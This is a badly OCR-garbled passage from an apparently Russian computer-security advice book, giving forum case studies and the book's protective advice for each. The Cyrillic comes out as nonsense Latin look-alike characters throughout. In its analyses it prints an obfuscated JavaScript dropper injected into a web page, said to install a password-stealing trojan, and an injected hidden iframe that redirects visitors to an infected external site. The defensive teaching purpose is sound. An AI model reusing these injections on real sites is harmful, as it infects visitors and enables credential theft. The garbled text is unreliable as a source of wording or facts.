NHTepHeTa perynsipHO oTpaxatoTcsl Ha HOBOCTHbIX MOHUTOpax SecurityLab B

CKOJNb BO3MOXHO CXaTble CPOKMU.
Kak BbinosiHeHWe peKoMeHAauMn KHUIMM 3awmilaeT MeHA OT BUPYycoB?
B oTnuune OT nporpamMHbIX CUCTEM 3aWuThl, pekoMeHZauuu no
HaCTpoKrKe CUCTEMbI He Bcerga HarngaHbl B cBoen apPeKTUBHOCTH. [1oaToMy
Mbl pPEWWNU npeactaBuTb Bam Hebonbluon o030p crnyyaeB M3 pearibHOW
NpaKTUKX, NOATBEPXOALWMX BAXXHOCTb BbIMOIHEHWSA HALLMX COBETOB.

Ckpunmsi (Java, JavaScript, Visual Basic Script)

http://forum.kaspersky.com/index.php?showtopic=37667

OOGpalwieHue nonb3oBaTens:

MpuseT!

Momornte, Nnn3, NPosicCHUTb cutyauuto. MNMonesytoce Onepon (Windows
2000) no ymonyaHuto. BO3HMKNO nogo3peHne, YTO CTpaHuua HEKOPPEKTHO
oTobpaxaeTcq, pewunn nocmoTpetb €€ B |IE6 (maBHO He nonb3oBarncs).

[Mocne BkntoYeHUs AyTnocT nokasan O6HOBMEHME KOMMOHEHTOB, MOSABUIICS
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cTpaHHbin hann C:\syshkue.exe (8 kB), KOTOpbIN cpasy e nonpocusicd
HapyXy, s 3abnokupoBan. AHTMBMPYC MonuuT, nposepun B online file
scanner: oann YMCTbIn. A BOT nNocne NpoBepku hann NnpocTo ncyes, octancsy
TONLKO ApnbidOK B recent (A He yganan). Wckan uwma danvna B [yrne,
AHpgexce - 0 pesynbTatoB. MOXeT KTO-TO OO bACHUT MHE, YTO 3TO ObINo?

Cnacubo

OTBeT KOHCYNbTaHTA:

Ha cTpaHuue B UCXOOHWKE B KOHLE eCTb KOA:

<I-—<S>--><script>try {var Ujt=& #39;rr2rP2rW2r42r12rB2rR2r
K2rA2r72re2rC2rb2rf2rn2rM2rp2rc2rs2rj2r62rg2r32rG2rD2rd2rw2
ra2rk2rq2rL2r02rX2ry2rS2rz2rH2r92rJ2rh2rU2rF2rx2r52r82rm2rV
2ro2rN2rt2rY2r12rT2r i 2Pr2PP2PW2P42P 12PB2PR2PK2PA2P72Pe2PC2P
b2Pf2Pn2PM2Pp* ,zMb=Ujt.substr(2,1);var Qa=Array(nQ("245"),
nQ*186%),nQ("170"),187,160,185, nQ("189%),45088"45257,nQ
("1657),29546"29634,286877°28840,nQ("174"),nQ("188"),1570"16
78,nQ("2447),nQ("235"),nQ("163%),49402"49221 ,54054"54225 , 24
908724968 ,45368"45563,24930724987,nQ("248"),nQ("242%),231,1
66,26660726772,nQ("164"),nQ("175"),nQ("230"),nQ("161"),225,
nQ("173%),222672064,nQ("177"),nQ("134%),nQ("226"),5704"5800,
52179752023,178,nQ("243%),4844"4612,nQ("246") ,62467°62613,1
46,nQ("151%),nQ("179%),52544"52656,nQ("148%) ,44528"44309,nQ
("1497),nQ("140"),36031735895,171,nQ("139"),nQ("190"),nqQ
("138"),180,38931"39144,8613"8543,49643"49430,nQ("252"),637
32763499,nQ("254"),nQ("2417),15441~15573,nQ("227"),141,nQ
("157%),59249759391,154) ;var dMJ;var Sl;var qY,heS=&#39;rrrP
rWr4r IrBrRrKrAr7rerCrbr7rCrfrnrMrpr7rcr7rPrWr4rlrBrRrMrsrjr6
rer7r4drKriWrerKrnrKrMrPr4rgrArArgr3rMrGrjrércr7r4arKrWrcrKrnrkK
rMr3rMrGrjrercr7r4rKrPrfrKrnrKrMrPr3rDr4rdrArArPrwrPrRrfrarP
rOrlrerkrdrMrGrjré6rcr7r4rKrBrKrnrKrMrgrLrRrarArgrMrGrjrérirk
rorxXrdrWrbrarfrerRrDrWrdrdryrlrfrOrlrerXrfrSrzrkrOrWrerHrMrn
rMrHrWrcrOrKrnrnrKrJdr3r9rjrérhrjréorcr7r4rKrbr4rArKrnrKrMrLrR
rRrBrUrqrqrMrKrHrKrOrXrdrWrbrarfrerRrDrArdrWr7rRrirdrerDrLrd
rPrRrKrFrnrKrMrMrKrXrKrMrMrKrUrKr4rPrwrPr5r4rPrOr9r9 ; varfok=
"T;yujt=Ujt.split(zMb) ; for (dMJ=0;dMJ

<"acTpk KOJa nponyumeHa HaMmu>
<heS.length;dMJ+=2){qY=heS.substr(dMJ, 2);
Tfor(S1=0;SI<Ujt.length;SI++){ifT(Ujt[SI1]==qY)break;}
Tfok+=String.fromCharCode(Qa[S1]7201);}

function nQ(XH){return parselnt(XH)}document.write(fok);}
catch(e){}</script><!--</S5>-->
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YTto 310?

OTOo pgponnep, WKW, Kak €ero ewe MOXHO HasBaTb, TPOAHCKUN
KOHCTpyKTOp. CaMm no cebe oH sBndetca Java-ckpuntom. Ecnv B Bpaysepe
paspeLlleHo BbINOSIHEHME CKPUMTOB, TO OH «CcobupaeT» Ha KomnblTepe
BpeOoHOCHbIN hann (ToT cambin C:\syshkue.exe) u oTnpaBnseT ero Ha
BblNoSIHEHNe. dann B [aHHOM cfiydae OTHOCUIICA K CEMENCTBY BOPOB
naponen Trojan-PSW.Win32.LdPinch no knaccudpukauun Jlabopatopum

Kacnepckoro.

OTknYeHne CcKpuntoB B Opays3epe no  HawuMm _pekoMeHAaUusiM  He

no3BonsieT 9ToMy Aponnepy 3anyctutbesi. COOTBETCTBEHHO, 3apaXXEeHUs1 He

npounsongeT.

OmKpbImbie MopMbl, OMKITHOYEHUE Cr1yX6O

http://forum.kaspersky.com/index.php?showtopic=35697

OOGpalwyeHue nonb3oBaTens:

Y MeHa npobnema. Kacnepckui  NOCTOSIHHO  BblOaeT,  uTo:
MoposputenbHble  gencteBua  Buffer  overrun  npouecc  (PID:960):
C:\WINDOWS\system32\svchost.exe u BbIGOp - paspelnTb UNn 3anpeTuTb.
3anpelwaewb - BMHAA BblaaeT, 4YTo OydeT 3akpbiTa 4Yepe3 MUHYTY, HY U
BblpybaeTcs, paspellaellb - NOABNSAIOTCA TPOsiHbl B KPYMHbIX KONMYeCTBaXx,
KOTOpble NOCTOSIHHO yaanaeT Kacnepckun. Becb KoMmn NpoBepUn - HAYEro He
HaxoauT. B 4yem cobGcTBeHHO npobnema wnu roe ee  uckatb???

(nepeycTaHaBnvBan BMHAY - HE NMOMOrIO)

Yro 310?
OTo ceTeBas ataka. [1o ymonuaHuio, kKorga cnyxobbl He OTKITHOYEHBI,
svchost.exe 3aHMMaeT HeKoTopble onpedeneHHble MNopThl, W3BECTHbIE

3apaHee n oguHakoBble Ans Bcex cuctem Windows XP (0 4em roBopunoch
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Bbllwe npu onucaHun noptoB co ctatycoMm LISTENING). CooTBeTCTBEHHO,
npu HanmMuMm HeycTpaHEeHHOW YHA3BUMOCTU CyLeCcTByeT BO3MOXHOCTb
OTNpaBuUTb Ha [AaHHbIN MOPT O0COObIM 06pasoM CHOPMMPOBAHHBLIA NaKeT
AaHHbIX N BbI3BaTb HeXenaTernbHble MOCNeACTBUA — B [aHHOM cCriyvae

nepenonHeHne bydepa n BbINONHEHWE NPOU3BOSILHOIO KOAA.

OT1kn4eHne cnyx6 3aKpblBaeT nopThl, aenad HEBO3MOXHbIM

HexenaTenbHble NOAKMYEHNA U NOAO0OHbLIE aTakW.

3anpeT Ha BxoAsillMe coeauHeHusi B bpaHamayape 3alluunulaeT OT CeTEBbIX

arak gpyrmne npunoxeHnd, MCnosib3yLLNE CETh.

YcTtaHoBKa Kputudeckux obHoBrneHunm Windows 3akpbiBaeT oOHapV)XEeHHbIe

VA3BMMOCTU, U aTaka TepsaeT adhdekT.

Hadcmpoduku 6paysepa

http://forum.kaspersky.com/index.php?showtopic=38908

OOGpalwyeHue nonb3oBaTens:

Bcem npuBer.

A MHOro cnblwan pas nNpo To, YTO Kakas TO APsSHb YBOOUT LEHbIN C
erong cyetoB. BoT Tenepb 9Ta HENPUATHOCTbL KOCHYSlACb CErogHA U MeH4.
3anaa cerogHs Ha cBOW e-ronf cyeT, s xoten nepesecty Yenoseky 10$ n B
3TOT MOMEHT C MOEro cyeTa pe3Ko CHSANMMUCb Kyaa To Bce AeHbrn 770%. Yto
camMOe WHTepecHoe, AeHbrn cHanucb B Banwte OZ u rnaBHoe Bce
NOOYUCTYIO, XOTH TaKoe He BO3MOXHO, Mo fwboMy Ha cyeTe [OSMKHO

ocTaTbcsd xotb 0.018.

OTBeT KOHCyNnbTaHTa NMocre U3y4yeHUs NPOTOKONIOB UCCreAoBaHUA
CUCTEMbI:

Ewe oanH wnunoH. BeinonHute ckpunt B AVZ
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begin

SearchRootkit(true, true);

SetAvVZGuardStatus(True);
QuarantineFile("C:\WINDOWS\system32\msindeo.dll","");
DeleteFile("C:\WINDOWS\system32\msindeo.dll");
ExecuteSysClean;

RebootWindows(false);

end.

Yto 310?

®dann C:\WINDOWS\system32\msindeo.dll sasnanca Browser Helper
Object, T.e. ogHon 13 HaacTpoek Internet Explorer. bnarogaps aToMy OH He
obHapyxuBancs 6paHoMayapoM M MOr OCYLLECTBNATb MpPaKTU4eckn nobble
ceTeBble AENCTBUS U3 3ar0XKEHHbIX B HErO Npw HanucaHmm 6e3 kakoro bl TO
HW ObINO KOHTPOns. AHTMBUPYCY OH He Obln n3BecTeH, a BpanHgmayap ero

NPOCTO He BUAEnN.

OTtkntoyeHne Haactpoek Internet Explorer He no3sonuno Obl 3TOMY dhanny

BbINOMNHATbL Kakne-nmbo JencTBusl, N A€HbIN HE Oblin Obl MOXMULLEHbI.

IFRAME

http://forum.kaspersky.com/index.php?showtopic=39219

OGpalweHue nonb3oBaTens:

[MpoBepun cerogHa caunT, 3a KOTOPbIM MEHS MNOnpocun MnpuCMoTpeTb
npuaTens..

Bo Bpems 3arpy3ku obpalaeTtca K NTM CTOPOHHUM y3nam. M3 katanora
BbIYNCTUN HECKOSbKO (panrnoB, KOTOpble MOABUMNCE HECAHKLMOHUPOBAHHO -
"arm.php", "1.php" n "ps.php". 3akpbin Bce goctynbl. CHAM npaBa Ha 3anucb
co Bcex nanok. B nanke "cgi-bin" 6bin ckpunt "cgitelnet.pl" - yganun.
[MomeHAn naponv Ha naHenb ynpasneHus U Tn-goctyn. Ho npu 3arpyske

no-npexHemy obpalaeTcsa K KakMM-TO Xakepckum yanam. PP npocto
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BbinieTaeT. Onepa npegnaraet NOCTaBUTb "YNCTUNBLUWK peecTpa”.

XocTep, He3aonro 40 3TOro, coodLian 0 MacCoOBOM XULLEHUN Naponen
®TIl y Hero n npocun Bcé NoMeHATb. A 910 caenan. Ho, Buanmo, onosaan.
Mowu komnbl Ynctele. Mon canTbl - NONTOpPa AeCATKa - TOXKE YMCTble. 3anesnu
yepes xoctepa - 100%.

CannopT, B OTBET Ha npocbby 0 nomoLumn, Hanucan: "Co cBoen CTOPOHHDI,
MOXEM yaanuTb BCTaBIEHHbIE BUPYCOM CTPOYKM U3 dhannoB (HY>KHO yKasaTb
NpUMepP CTPOKU KOTOPYIO HYXXHO yaanuTb U3 ¢annos)".

Uto pnenatb, noackaxute? ['ge ymctutb? Cnacmnbo.

OTBeT KOHCYNbTaHTA:

Camyto nepByto cTpouky nepeq head B ucxogHuke ybepure.

echo "<iframe src="radiodeejay.hr/forum/lang/inexed.htm*"
width=1 height=1></1frame>"

YT0 3107

OTO CKpbITOE nepeHanpaBneHne Opay3epa Ha 3apaxeHHy Beb-
CTpaHuLy, C KOTOPOW, B CBOK O4Yepenb, CKayMBaeTCcs TOT WU WHOM
BPEOOHOCHbIN hann. Tun n KONNMYECTBO CKaYMBaEMbIX BUPYCOB MOXET ObITb

nobbIM B 3aBUCUMOCTU OT Lesin B3riomMa.

OTtknioyeHne |IFRAME B Opay3epe He no3Bonger emMy WCcnosfb30oBaTb

NoAo00HbIE CKPbITbIE NEPEHANPABAEHUS, U 3apaXXeHUa HE MPOUCXOONT.

TakoB KpaTkmii 0630p OCHOBHbIX MO3ULMIA HaLKMX COBETOB. [MpakTnyeckm
nobas Hawa pekoMmeHAauuss MoxeT OblTb noaTBepXaeHa MNogo00OHBIMK
npumepamn. HapesaTbcss Ha Be3eHWe B Bonpocax 6e3onacHoCTH, Kak
npaBuno, He UMeeT CMbicna — TpebyeTca TOYHbIA pacdeT n adeKTMBHAS

npodunakTuka sapaxeHusi. KHimra noMmoxxeT Bam B 3TOM.
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3aknroyeHue

[Mpn co3gaHuMM 3TOW KHUMM OCHOBHOW 3adadet aBTOPOB ObINIO U OCcTaeTcs
npeacTaBneHne eanHoro KoMmrsekca coBeToB Mo obecrnedeHnto 6e30nacHoOCTU
koMnbloTepa 6e3  MCNOMb30BaHWSA  CNeLVanmn3npoBaHHbIX  MPOrpaMMHbIX
npoaykToB. Bo3amoxHO, uMTatens obpatun BHMMaHME Ha TOT (pakT, YTO 4acTo
nogobHas 3awmTa OOCTUraeTcsl MoCPeACTBOM OTKIOYEHMST OYHKUMOHana, YTo
BreyeT 3a cobon HekoTopble HeyaobcTBa B paboTe; AeNCTBUTENBHO, HECMOTPS
Ha TO, YTO Mbl Npunaraem onpeaeneHHbIe YCUnns no YMEHbLUEHNIO BO3MOXHbIX
NoBo4YHbIX 3EKTOB, B HEKOTOPbIX acnektax 6GesonacHocTn yaobCcTBo U
3alUMLLEHHOCTb MO-MPEXHEMY coyeTaroTcs ¢ TpydoM. Horga Mbl CribilivM m
YTBEPXKOEHWS!, YTO OMMCaHHbLIM KOMMIIEKC COBETOB W3NMLIHE NapaHovpareH, a
ANs 3aWmUThl KOMMNbIOTEPA AOCTAaTOYHO M aHTUBMpYCA.

Takaa peakums HeyaMBUTErNbHA, MOCKOMbKY 3alimMta KOMMbOTepa
NoCcpeacTBOM OTKIOYMEHUST YS3BUMMOrO byHKUMOHaNa — sIBieHne HOBOE And
GonblUMHCTBA nonb3oBaTtenen NHTepHeTa, a MbiClb O TOM, YTO MOSb30BaTeNb
AOIMKEH nNpuvHMMaTb ydactme B obecnedyeHnn 6e30nacHOCTU  CBOEro
KOMMbIOTEPA, MHOTUM KaXKETCS W BOBCE, CKaXeM TaK, CTPaHHOM — «S1 Xe
NoCTaBun aHTMBMpYC! BOT MyCTb OH MeEHs W 3awmwaeT». B cBs3n ¢ atum
HeobXoOUMO OTMETUTb, YTO HE CYLLEeCTBYET aBTOMAaTU3MPOBAHHLIX PELUEHUN,
KOTOpble MOrnM Bbl NOMHOCTLIO OBecneyvnTb 3alMTy KoMMbkoTepa — XOTs Obl
MOTOMY, 4YTO C TOYKA 3PEHUS BbIMOMHAEMbIX [OENCTBUMA BpPEOoOHOCHOE
nporpammMHoe obecneyeHne HUYEM He OTNIMYAETCs OT NErMTUMHOrO: NMPOCTO Te
WX  VHblE CUCTEMHbIE (PYHKUMKW, KaK JHOOOM WMHCTPYMEHT, MOryT ObiTb
MCMOMb30BaHbl M AN MOMe3HblX, WU Ans onacHbiX AencTtBuin. OTNUYMTb
«Xxopollee» MPUIOXKeHNe OT «MMOXOro» MOXET TONbKO cam Monb3oBaTenb.
[MoaTomy ero yyactune Tpebyetca npu obecneveHmmn 6e3onacHoOCTH.

LleHHOCTb CcOBETOB MO  MOSfb30BaTENbCKON  MPOAKTMBHOW  3alumute
KOMMbIOTEPA COCTOUT B TOM, YTO OHW HE MMEKT cpoka uctedeHusi. OHu

CNocobHbLI NPeaoXpaHnTL Balll KOMMbIOTEP HE TOMBbKO OT TEX YIPo3, KOTOPbIE YXKe
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CYLLLECTBYIOT, HO N OT BCEX TeX, KOTOPble MOSBATCA Yepe3 rog, Aea roga, nstb
neT 1 Tak ganee. B kadecTBe npumepa MOXXHO NPMBECTU HEAABHIOW YSI3BUMOCTb
B cnyxbe CepBep [Server], cxoxyw C TOW, KOTOpasi HECKOSIbKO feT Hasapg
aKcnnyaTupoBanacb YepseM Blaster. B To BpemMs BbinyCTuUnu ncnpaenexHme aons
Windows, Ta KOHKpeTHas ya3BUMOCTb Oblfia ycTpaHeHa, HO cendac, Korga Obina
obHapyXeHa HoBas YsA3BMMOCTb, KOMMbIOTEPbLI MOfb30BaTeENEN BHOBb
oKkasanucb 6e33awnTHbl nepen Hen 0o odepeaHoro obHoeneHna Windows. Bce
KOMMbIOTEPbLI, KPOME TEX, KOTOpble HACTPOEHbl B COOTBETCTBUMM C HaLLMMU

coBeTaMn. Kakyo Obl yS3BUMOCTb HW HALUAM _3MOYMbILLIIEHHUKUA B _cnyxbe

Server, cenyac, Unu NATb NeT cnycrs, C ee NoMoLLbO Herb3A OyneT atakoBaTtb

KOMNbLIOTEP, HA KOTOPOM 3Ta Crny)ba He paboTaerT.

NMomHMTE, 4YTO ©e30nacHOCTb BalUMX AaHHbIX 3aBUCUT TONbKO OT Bac —
3alWUTHbIE MNPOrpaMMbl  SIBASIKOTCA  NUWb  HAabOPOM  MHCTPYMEHTOB AN
obneryeHus Ballen 3agayn. byabTe BHUMATENbHbI, OCTOPOXHbI M HEAOBEPUUBHI,

N yrpo3a obonaeT Bac CTOPOHOMN.
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06 asmopax amou KHuau

ABTOp-cocTtaButenb: Hukonam NonoBkKo, HE3aBUCUMbIN KOHCYNbTaHT
No KOMMNblOTEPHOM ©Oe3onacHocTn, 3onoton 6Geta-tectep JlabopaTopum
Kacnepckoro, odgwuumnanbHbli NepeBOAYNK aHTUBUPYCHOW yTunutbl AVZ,
KoopAnHaTOp aHTMBUpPYCHOro noptana Virusinfo.

Pasgoen «BctpoeHHble cpeactBa 3awmtbl Windows Vista» HanucaH
30S10TbIM beTta-Ttectepom JTabopaTtopum Kacnepckoro AHpgpeem
BoHpapeHKo.

[Mpn paspaboTke KOMMMeKca pekoMmeHgaunn, npeacTaBNeHHoro B KHuUre,
MCNONb30BanNuCb COBEThI aKcnepTa B 0611acTn npeaoTBpaLleHnsi BTOPXKEHWMN,
ydyacTHMKa dopymoB Anti-Malware.ru, M3BECTHOro Kak p2u, a TaKke
pekoMeHdauMmM no 3awmTte KoMmnbioTepa B WHTepHeTe Genopycckoro

XypHanucta Cepresa Pumwm.
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Bce npaBa 3awmLLeHbl.

B TekcTe goKymeHTa MOryT ynoMumHaTbCHA TOBapHble 3Haku. Bce npasa
Ha HUX NpMHagnexart ux Bnagesibuam.

http://security-advisory.ru — opuumanbHbIM CanuT NpoekTa.




